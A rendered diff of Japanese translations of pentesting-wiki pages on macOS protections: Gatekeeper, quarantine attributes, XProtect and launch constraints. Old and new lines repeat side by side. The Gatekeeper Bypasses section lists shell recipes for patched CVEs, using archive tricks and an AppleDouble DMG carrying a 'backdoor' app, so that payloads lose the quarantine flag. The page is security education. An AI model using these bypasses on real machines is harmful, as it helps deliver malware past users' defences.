**macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、カーネルによって強制されます。 **macOS ガード付きディスクリプタ**は、ユーザーアプリケーションにおける**ファイルディスクリプタ操作**の安全性と信頼性を向上させるためにmacOSに導入されたセキュリティ機能です。これらのガード付きディスクリプタは、ファイルディスクリプタに特定の制限や「ガード」を関連付ける方法を提供し、これらはカーネルによって強制されます。
この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにそれへのアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです: この機能は、**不正なファイルアクセス**や**レースコンディション**などの特定のクラスのセキュリティ脆弱性を防ぐのに特に役立ちます。これらの脆弱性は、例えばスレッドがファイルディスクリプタにアクセスして**別の脆弱なスレッドにアクセスを許可する**場合や、ファイルディスクリプタが**脆弱な子プロセスに継承される**場合に発生します。この機能に関連するいくつかの関数は次のとおりです:
- `guarded_open_np`: ガード付きでFDをオープン - `guarded_open_np`: ガード付きでFDをオープン
- `guarded_close_np`: 閉じる - `guarded_close_np`: 閉じる

View File

@ -4,25 +4,25 @@
## Gatekeeper ## Gatekeeper
**Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証することによって機能します** **Gatekeeper**は、Macオペレーティングシステム向けに開発されたセキュリティ機能で、ユーザーが**信頼できるソフトウェアのみを**システムで実行することを保証するために設計されています。これは、ユーザーが**App Store以外のソース**からダウンロードして開こうとするソフトウェア(アプリ、プラグイン、インストーラーパッケージなど)を**検証する**ことによって機能します。
Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによって公証されているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、公証後に改ざんされていないことを確認します。 Gatekeeperの主要なメカニズムは、その**検証**プロセスにあります。ダウンロードされたソフトウェアが**認識された開発者によって署名されているか**を確認し、ソフトウェアの真正性を保証します。さらに、ソフトウェアが**Appleによってノータリゼーションされているか**を確認し、既知の悪意のあるコンテンツが含まれておらず、ノータリゼーション後に改ざんされていないことを確認します。
加えて、Gatekeeperは**ダウンロードされたソフトウェアを初めて開く際にユーザーに承認を促すことによって**、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。 加えて、Gatekeeperは**ダウンロードされたソフトウェアを初めて開く際にユーザーに承認を促す**ことで、ユーザーの制御とセキュリティを強化します。この保護機能は、ユーザーが無害なデータファイルと誤解して実行してしまう可能性のある有害な実行可能コードを誤って実行するのを防ぐのに役立ちます。
### Application Signatures ### Application Signatures
アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認するため**に使用され、コードが最後に署名されて以来改ざんされていないことを保証します。 アプリケーション署名、またはコード署名は、Appleのセキュリティインフラストラクチャの重要な要素です。これらは、**ソフトウェアの著者(開発者)の身元を確認する**ために使用され、コードが最後に署名されて以来改ざんされていないことを保証します。
以下はその仕組みです: 以下はその仕組みです:
1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、開発者がApple Developer Programに登録した際にAppleが発行する**証明書に関連付けられています**。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。 1. **アプリケーションの署名:** 開発者がアプリケーションを配布する準備が整ったとき、彼らは**プライベートキーを使用してアプリケーションに署名します**。このプライベートキーは、開発者がApple Developer Programに登録した際にAppleが発行する**証明書**に関連付けられています。署名プロセスは、アプリのすべての部分の暗号ハッシュを作成し、このハッシュを開発者のプライベートキーで暗号化することを含みます。
2. **アプリケーションの配布:** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。 2. **アプリケーションの配布:** 署名されたアプリケーションは、対応する公開鍵を含む開発者の証明書と共にユーザーに配布されます。
3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。その後、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。 3. **アプリケーションの検証:** ユーザーがアプリケーションをダウンロードして実行しようとすると、彼らのMacオペレーティングシステムは開発者の証明書から公開鍵を使用してハッシュを復号化します。次に、アプリケーションの現在の状態に基づいてハッシュを再計算し、これを復号化されたハッシュと比較します。一致すれば、**アプリケーションは開発者によって署名されて以来変更されていない**ことを意味し、システムはアプリケーションの実行を許可します。
アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。 アプリケーション署名は、AppleのGatekeeper技術の重要な部分です。ユーザーが**インターネットからダウンロードしたアプリケーションを開こうとすると**、Gatekeeperはアプリケーション署名を検証します。Appleが既知の開発者に発行した証明書で署名されており、コードが改ざんされていなければ、Gatekeeperはアプリケーションの実行を許可します。そうでない場合、アプリケーションはブロックされ、ユーザーに警告されます。
macOS Catalina以降、**GatekeeperはアプリケーションがAppleによって公証されているかどうかも確認します**。これにより、セキュリティの追加層が加わります。公証プロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。 macOS Catalina以降、**GatekeeperはアプリケーションがAppleによってノータリゼーションされているかどうかも確認します**。これにより、セキュリティの追加層が加わります。ノータリゼーションプロセスは、アプリケーションに既知のセキュリティ問題や悪意のあるコードがないかをチェックし、これらのチェックに合格すると、AppleはGatekeeperが検証できるチケットをアプリケーションに追加します。
#### Check Signatures #### Check Signatures
@ -54,21 +54,21 @@ Appleのータリゼーションプロセスは、ユーザーを潜在的に
### spctl & syspolicyd ### spctl & syspolicyd
> [!CAUTION] > [!CAUTION]
> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなったことに注意してください > Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなりました
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです`syspolicyd`デーモンとXPCメッセージを介して。例えば、次のコマンドでGateKeeperの**ステータス**を確認することができます: **`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです`syspolicyd`デーモンとXPCメッセージを介して。例えば、次のコマンドでGatekeeperの**ステータス**を確認することができます:
```bash ```bash
# Check the status # Check the status
spctl --status spctl --status
``` ```
> [!CAUTION] > [!CAUTION]
> GateKeeperの署名チェックは、**隔離属性**を持つファイルにのみ実行され、すべてのファイルには実行されません。 > GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します: GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します:
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
**`syspolicyd`**は、Gatekeeperを強制する主なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。 **`syspolicyd`**は、Gatekeeperを強制するためのなデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)で見つけるこができ、[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。
さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます
```bash ```bash
@ -84,9 +84,9 @@ anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] exists
anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists and (certificate leaf[field.1.2.840.113635.100.6.1.14] or certificate leaf[field.1.2.840.113635.100.6.1.13]) and notarized|1|0|Notarized Developer ID
[...] [...]
``` ```
**`syspolicyd`** は、`assess``update``record``cancel` などの異なる操作を持つ XPC サーバーも公開しており、これらは **`Security.framework`** の `SecAssessment*` API を使用してアクセス可能です。また、**`xpctl`** は実際に **`syspolicyd`** と XPC 経由で通信します。 **`syspolicyd`** は、`assess``update``record``cancel` などの異なる操作を持つ XPC サーバーも公開しており、これらは **`Security.framework`** の **`SecAssessment*`** API を使用してアクセス可能です。また、**`xpctl`** は実際に **`syspolicyd`** と XPC を介して通信します。
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わっていることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\ 最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\
その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます** その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます**
**type GKE** のルールも数千あります: **type GKE** のルールも数千あります:
@ -126,7 +126,7 @@ spctl --master-enable
```bash ```bash
spctl --assess -v /Applications/App.app spctl --assess -v /Applications/App.app
``` ```
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です: GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です
```bash ```bash
# Check if allowed - nop # Check if allowed - nop
spctl --assess -v /Applications/App.app spctl --assess -v /Applications/App.app
@ -145,13 +145,13 @@ spctl --assess -v /Applications/App.app
### 検疫ファイル ### 検疫ファイル
アプリケーションやファイルを**ダウンロード**すると、ウェブブラウザやメールクライアントなどの特定のmacOS **アプリケーション**は、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。 アプリケーションやファイルを**ダウンロード**すると、ウェブブラウザやメールクライアントなどの特定のmacOS **アプリケーション**は、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を付加します。この属性は、ファイルが信頼できないソース(インターネット)から来ていることを**マークする**ためのセキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
**検疫フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。 **検疫フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。
**検疫フラグが存在しない場合**一部のBitTorrentクライアントを介してダウンロードされたファイルのように、Gatekeeperの**チェックは行われない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。 **検疫フラグが存在しない場合**一部のBitTorrentクライアントを介してダウンロードされたファイルのように、Gatekeeperの**チェックは実行されない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。
> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**実用的ではありません**。 > [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**非現実的です**。
> >
> したがって、これらのチェックは**検疫属性を持つアプリを実行する際にのみ実行されます**。 > したがって、これらのチェックは**検疫属性を持つアプリを実行する際にのみ実行されます**。
@ -160,9 +160,9 @@ spctl --assess -v /Applications/App.app
> >
> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`の拡張属性を設定するようにします。 > ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`の拡張属性を設定するようにします。
さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは検疫されます。また、API **`qtn_file_apply_to_path`**は指定されたファイルパスに検疫属性を追加します。 さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは検疫されます。また、API **`qtn_file_apply_to_path`**は指定されたファイルパスに検疫属性を追加します。
そのステータスを**確認し、有効/無効にする**ことがrootが必要きます: そのステータスを**確認し、有効/無効にする**rootが必要ことが可能です:
```bash ```bash
spctl --status spctl --status
assessments enabled assessments enabled
@ -177,7 +177,7 @@ xattr file.png
com.apple.macl com.apple.macl
com.apple.quarantine com.apple.quarantine
``` ```
**拡張属性**の**値**を確認し、次のコマンドを使用して隔離属性を書き込んだアプリを特定します: **拡張属性**の**値**を確認し、次のコマンドを使用して**隔離属性**を書き込んだアプリを特定します:
```bash ```bash
xattr -l portada.png xattr -l portada.png
com.apple.macl: com.apple.macl:
@ -193,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App # Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded # F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
``` ```
実際、プロセスは「作成したファイルに検疫フラグを設定することができる」私はすでに作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした 実際、プロセスは「作成したファイルに検疫フラグを設定できる」私はすでに作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした
<details> <details>
@ -275,7 +275,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
このライブラリは、拡張属性フィールドを操作するためのいくつかの関数をエクスポートします。 このライブラリは、拡張属性フィールドを操作するためのいくつかの関数をエクスポートします。
`qtn_file_*` APIはファイル隔離ポリシーを扱い、`qtn_proc_*` APIはプロセスプロセスによって作成されたファイルに適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数として「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。 `qtn_file_*` APIはファイル隔離ポリシーを扱い、`qtn_proc_*` APIはプロセスプロセスによって作成されたファイルに適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数として「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。
#### **Quarantine.kext** #### **Quarantine.kext**
@ -292,7 +292,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースに対して**チェックを行います**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。 XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースに対して**チェックを行います**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
XProtectデータベースは、Appleによって**定期的に更新され**、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。 XProtectデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行しません。 ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行しません。
@ -316,7 +316,7 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**ElectronのasarやNIBファイルなどことが可能でした。他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。 したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**ElectronのasarやNIBファイルなどことが可能でした。他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
しかし、現在はmacOSがアプリケーションバンドル内のファイルの**変更を防ぐ**ため、これは不可能です。したがって、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、Gatekeeperでキャッシュするためにアプリを実行した後、バンドルを変更できなくなるため、もはや悪用できないことがわかります。たとえば、Contentsディレクトリの名前をNotConに変更しエクスプロイトで示されているようにその後アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生し、実行されません。 しかし、現在はmacOSがアプリケーションバンドル内のファイルの**変更を防ぐ**ため、これは不可能です。したがって、[Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md)攻撃を試みると、アプリを実行してGatekeeperでキャッシュした後、バンドルを変更できなくなるため、もはや悪用できないことがわかります。たとえば、Contentsディレクトリの名前をNotConに変更しエクスプロイトで示されているように、アプリのメインバイナリを実行してGatekeeperでキャッシュしようとすると、エラーが発生し、実行されません。
## Gatekeeper Bypasses ## Gatekeeper Bypasses
@ -324,7 +324,7 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) ### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにこれらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを可能にします。 **Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにこれらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを可能にします。
詳細については、[**元の報告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を確認してください。 詳細については、[**元の報告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を確認してください。
@ -344,11 +344,11 @@ Gatekeeperをバイパスする方法ユーザーに何かをダウンロー
```bash ```bash
zip -r test.app/Contents test.zip zip -r test.app/Contents test.zip
``` ```
チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) で詳細情報を。 チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) で詳細情報を確認してください
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910) ### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントは異なりますが、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するので、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。 コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するため、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。
```bash ```bash
aa archive -d test.app/Contents -o test.app.aar aa archive -d test.app/Contents -o test.app.aar
``` ```
@ -372,7 +372,7 @@ ditto -c -k test test.zip
python3 -m http.server python3 -m http.server
# Download the zip from the browser and decompress it, the file should be without a quarantine xattr # Download the zip from the browser and decompress it, the file should be without a quarantine xattr
``` ```
[**オリジナルレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を参照して、詳細情報を確認してください。 [**オリジナルレポート**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)を参照して、詳細情報を確認ください。
この脆弱性はAppleArchivesを使用しても悪用される可能性があることに注意してください。 この脆弱性はAppleArchivesを使用しても悪用される可能性があることに注意してください。
```bash ```bash
@ -383,11 +383,11 @@ aa archive -d app -o test.aar
``` ```
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/) ### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
**Google Chromeがダウンロードしたファイルに対して隔離属性を設定していなかった**ことが、macOSの内部問題によって発見されました。 **Google Chromeがダウンロードしたファイルにクアランティン属性を設定していなかった**のは、macOSの内部問題によるものであることが発見されました。
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/) ### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存します。これにより、**macOSマシン間でファイル属性をコピーする**ことができます。しかし、AppleDoubleファイルを解凍した後、`._`で始まるファイルに**隔離属性が与えられなかった**ことが確認されました。 AppleDoubleファイル形式は、ファイルの属性を`._`で始まる別のファイルに保存します。これにより、**macOSマシン間でファイル属性をコピーする**ことができます。しかし、AppleDoubleファイルを解凍した後、`._`で始まるファイルに**クアランティン属性が与えられなかった**ことが確認されました。
```bash ```bash
mkdir test mkdir test
echo a > test/a echo a > test/a
@ -397,8 +397,8 @@ aa archive -d test/ -o test.aar
# If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute # If you downloaded the resulting test.aar and decompress it, the file test/._a won't have a quarantitne attribute
``` ```
ファイルを作成しても隔離属性が設定されないようにすることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成する**ことでした(`._`で始める)そして、**この隠し**ファイルへのシンボリックリンクとして**可視ファイルを作成する**ことです。\ ファイルを作成できることで、**Gatekeeperをバイパスすることが可能でした。** トリックは、AppleDouble名付け規則を使用して**DMGファイルアプリケーションを作成する**ことでした(`._`で始める)そして、**この隠し**ファイルへのシンボリックリンクとして**可視ファイルを作成する**ことです。\
**dmgファイルが実行されると**、隔離属性がないため、**Gatekeeperをバイパスします。** **dmgファイルが実行されると、**それにはクアランティン属性がないため、**Gatekeeperをバイパスします。**
```bash ```bash
# Create an app bundle with the backdoor an call it app.app # Create an app bundle with the backdoor an call it app.app
@ -420,12 +420,12 @@ aa archive -d s/ -o app.aar
- アプリにuchgを追加します。 - アプリにuchgを追加します。
- アプリをtar.gzファイルに圧縮します。 - アプリをtar.gzファイルに圧縮します。
- tar.gzファイルを被害者に送信します。 - tar.gzファイルを被害者に送信します。
- 被害者tar.gzファイルを開き、アプリを実行します。 - 被害者tar.gzファイルを開き、アプリを実行します。
- Gatekeeperはアプリをチェックしません。 - Gatekeeperはアプリをチェックしません。
### Prevent Quarantine xattr ### Prevent Quarantine xattr
".app"バンドル内にquarantine xattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。 「.app」バンドルにクアランティンxattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## 基本情報 ## 基本情報
macOSの起動制約は、**プロセスがどのように、誰によって、どこから開始されるかを規制することによって**セキュリティを強化するために導入されました。macOS Venturaで開始され、**各システムバイナリを異なる制約カテゴリに分類する**フレームワークを提供します。これらは**信頼キャッシュ**内で定義されており、システムバイナリとそのハッシュのリストを含んでいます。これらの制約は、システム内のすべての実行可能バイナリに拡張され、**特定のバイナリを起動するための要件を定義する一連のルール**を含みます。ルールには、バイナリが満たすべき自己制約、親プロセスが満たすべき親制約、関連する他のエンティティが遵守すべき責任制約が含まれます。 macOSの起動制約は、**プロセスがどのように、誰が、どこから開始できるかを規制することによって**セキュリティを強化するために導入されました。macOS Venturaで開始され、**各システムバイナリを異なる制約カテゴリに分類する**フレームワークを提供します。これらは**信頼キャッシュ**内で定義されており、システムバイナリとそのハッシュのリストを含んでいます。これらの制約は、システム内のすべての実行可能バイナリに拡張され、**特定のバイナリを起動するための要件を定義する一連の**ルールを含みます。ルールには、バイナリが満たすべき自己制約、親プロセスが満たすべき親制約、他の関連するエンティティが遵守すべき責任制約が含まれます
このメカニズムは、macOS Sonoma以降、**環境制約**を通じてサードパーティアプリにも拡張され、開発者は**環境制約のためのキーと値のセットを指定することによってアプリを保護**できます。 このメカニズムは、macOS Sonoma以降、**環境制約**を通じてサードパーティアプリにも拡張され、開発者は**環境制約のためのキーと値のセットを指定することによってアプリを保護**できます。
@ -13,17 +13,17 @@ macOSの起動制約は、**プロセスがどのように、誰によって、
制約には4つのタイプがあります 制約には4つのタイプがあります
- **自己制約****実行中の**バイナリに適用される制約。 - **自己制約****実行中の**バイナリに適用される制約。
- **親プロセス****プロセスの親**適用される制約(例えば、**`launchd`**がXPサービスを実行している場合 - **親プロセス****プロセスの親**適用される制約(例えば、**`launchd`**がXPサービスを実行している場合
- **責任制約**XPC通信で**サービスを呼び出すプロセス**適用される制約。 - **責任制約**XPC通信で**サービスを呼び出すプロセス**適用される制約。
- **ライブラリロード制約**:ロード可能なコードを選択的に記述するためにライブラリロード制約を使用します。 - **ライブラリロード制約**:ロードできるコードを選択的に記述するためにライブラリロード制約を使用します。
したがって、プロセスが別のプロセスを起動しようとすると`execve(_:_:_:)`または`posix_spawn(_:_:_:_:_:_:)`を呼び出すことによって、オペレーティングシステムは**実行可能**ファイルが**自身の自己制約を満たしているか**を確認します。また、**親プロセス**の実行可能ファイルが**実行可能ファイルの親制約を満たしているか**、**責任プロセス**の実行可能ファイルが**実行可能ファイルの責任プロセス制約を満たしているか**も確認します。これらの起動制約のいずれかが満たされない場合、オペレーティングシステムはプログラムを実行しません。 したがって、プロセスが別のプロセスを起動しようとするとき — `execve(_:_:_:)`または`posix_spawn(_:_:_:_:_:_:)`を呼び出すことによって — オペレーティングシステムは、**実行可能**ファイルが**自身の自己制約を満たしているかどうかを確認します**。また、**親プロセスの**実行可能ファイルが**実行可能ファイルの親制約を満たしているかどうかを確認し、**責任プロセスの**実行可能ファイルが**実行可能ファイルの責任プロセス制約を満たしているかどうかを確認します**。これらの起動制約のいずれかが満たされない場合、オペレーティングシステムはプログラムを実行しません。
